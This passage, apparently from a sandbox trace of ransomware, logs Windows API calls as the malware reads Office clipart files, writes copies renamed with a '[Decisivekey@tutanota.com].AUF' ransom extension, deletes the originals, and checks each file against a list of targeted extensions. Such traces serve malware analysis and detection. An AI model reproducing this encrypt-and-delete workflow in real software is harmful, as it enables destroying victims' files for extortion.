Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.472] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.472] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.472] GetLastError () returned 0x0 [0220.472] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x914, lpOverlapped=0x0) returned 1 [0220.473] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x920, lpOverlapped=0x0) returned 1 [0220.474] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.474] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.474] SetEndOfFile (hFile=0x16c) returned 1 [0220.474] CloseHandle (hObject=0x16c) returned 1 [0220.475] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.475] SetEndOfFile (hFile=0x1f8) returned 1 [0220.475] CloseHandle (hObject=0x1f8) returned 1 [0220.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0220.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0220.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0220.476] lstrlenW (lpString=".doc") returned 4 [0220.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString=".docx") returned 5 [0220.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.476] lstrlenW (lpString=".pdf") returned 4 [0220.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString=".xls") returned 4 [0220.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.476] lstrlenW (lpString=".xlsx") returned 5 [0220.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.476] lstrlenW (lpString=".ppt") returned 4 [0220.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0220.476] lstrlenW (lpString=".zip") returned 4 [0220.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.476] lstrlenW (lpString=".rar") returned 4 [0220.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString=".bz2") returned 4 [0220.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString=".7z") returned 3 [0220.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0220.476] lstrlenW (lpString=".dbf") returned 4 [0220.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0220.476] lstrlenW (lpString=".1cd") returned 4 [0220.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0220.476] lstrlenW (lpString=".jpg") returned 4 [0220.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.477] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=19068) returned 1 [0220.477] CloseHandle (hObject=0x1f8) returned 1 [0220.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0220.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.477] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.478] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.478] GetLastError () returned 0x0 [0220.478] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0220.492] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0220.493] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.493] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.493] SetEndOfFile (hFile=0x16c) returned 1 [0220.494] CloseHandle (hObject=0x16c) returned 1 [0220.494] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.494] SetEndOfFile (hFile=0x1f8) returned 1 [0220.494] CloseHandle (hObject=0x1f8) returned 1 [0220.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0220.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0220.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0220.495] lstrlenW (lpString=".doc") returned 4 [0220.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString=".docx") returned 5 [0220.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.495] lstrlenW (lpString=".pdf") returned 4 [0220.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString=".xls") returned 4 [0220.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.495] lstrlenW (lpString=".xlsx") returned 5 [0220.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.495] lstrlenW (lpString=".ppt") returned 4 [0220.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0220.495] lstrlenW (lpString=".zip") returned 4 [0220.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.495] lstrlenW (lpString=".rar") returned 4 [0220.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString=".bz2") returned 4 [0220.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString=".7z") returned 3 [0220.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0220.495] lstrlenW (lpString=".dbf") returned 4 [0220.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0220.495] lstrlenW (lpString=".1cd") returned 4 [0220.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0220.495] lstrlenW (lpString=".jpg") returned 4 [0220.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.496] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=296) returned 1 [0220.496] CloseHandle (hObject=0x1f8) returned 1 [0220.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0220.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.496] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.496] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.497] GetLastError () returned 0x0 [0220.497] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x128, lpOverlapped=0x0) returned 1 [0220.498] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x130, lpOverlapped=0x0) returned 1 [0220.498] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.498] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.498] SetEndOfFile (hFile=0x16c) returned 1 [0220.498] CloseHandle (hObject=0x16c) returned 1 [0220.498] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.498] SetEndOfFile (hFile=0x1f8) returned 1 [0220.499] CloseHandle (hObject=0x1f8) returned 1 [0220.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0220.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0220.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0220.499] lstrlenW (lpString=".doc") returned 4 [0220.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.499] lstrlenW (lpString=".docx") returned 5 [0220.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.499] lstrlenW (lpString=".pdf") returned 4 [0220.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.500] lstrlenW (lpString=".xls") returned 4 [0220.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.500] lstrlenW (lpString=".xlsx") returned 5 [0220.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.500] lstrlenW (lpString=".ppt") returned 4 [0220.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0220.500] lstrlenW (lpString=".zip") returned 4 [0220.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.500] lstrlenW (lpString=".rar") returned 4 [0220.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.500] lstrlenW (lpString=".bz2") returned 4 [0220.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.500] lstrlenW (lpString=".7z") returned 3 [0220.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0220.500] lstrlenW (lpString=".dbf") returned 4 [0220.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0220.500] lstrlenW (lpString=".1cd") returned 4 [0220.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0220.500] lstrlenW (lpString=".jpg") returned 4 [0220.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.500] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=552) returned 1 [0220.500] CloseHandle (hObject=0x1f8) returned 1 [0220.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0220.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.501] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.501] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.501] GetLastError () returned 0x0 [0220.501] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x228, lpOverlapped=0x0) returned 1 [0220.502] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x230, lpOverlapped=0x0) returned 1 [0220.504] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.504] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.504] SetEndOfFile (hFile=0x16c) returned 1 [0220.504] CloseHandle (hObject=0x16c) returned 1 [0220.504] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.504] SetEndOfFile (hFile=0x1f8) returned 1 [0220.505] CloseHandle (hObject=0x1f8) returned 1 [0220.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0220.506] lstrlenW (lpString=".doc") returned 4 [0220.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString=".docx") returned 5 [0220.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.506] lstrlenW (lpString=".pdf") returned 4 [0220.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString=".xls") returned 4 [0220.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.506] lstrlenW (lpString=".xlsx") returned 5 [0220.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.506] lstrlenW (lpString=".ppt") returned 4 [0220.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0220.506] lstrlenW (lpString=".zip") returned 4 [0220.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.506] lstrlenW (lpString=".rar") returned 4 [0220.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString=".bz2") returned 4 [0220.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString=".7z") returned 3 [0220.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0220.506] lstrlenW (lpString=".dbf") returned 4 [0220.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0220.506] lstrlenW (lpString=".1cd") returned 4 [0220.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0220.506] lstrlenW (lpString=".jpg") returned 4 [0220.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.507] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4148) returned 1 [0220.507] CloseHandle (hObject=0x1f8) returned 1 [0220.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0220.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.507] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.507] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.507] GetLastError () returned 0x0 [0220.508] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1034, lpOverlapped=0x0) returned 1 [0220.532] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0220.533] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.533] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.533] SetEndOfFile (hFile=0x16c) returned 1 [0220.533] CloseHandle (hObject=0x16c) returned 1 [0220.533] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.533] SetEndOfFile (hFile=0x1f8) returned 1 [0220.534] CloseHandle (hObject=0x1f8) returned 1 [0220.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 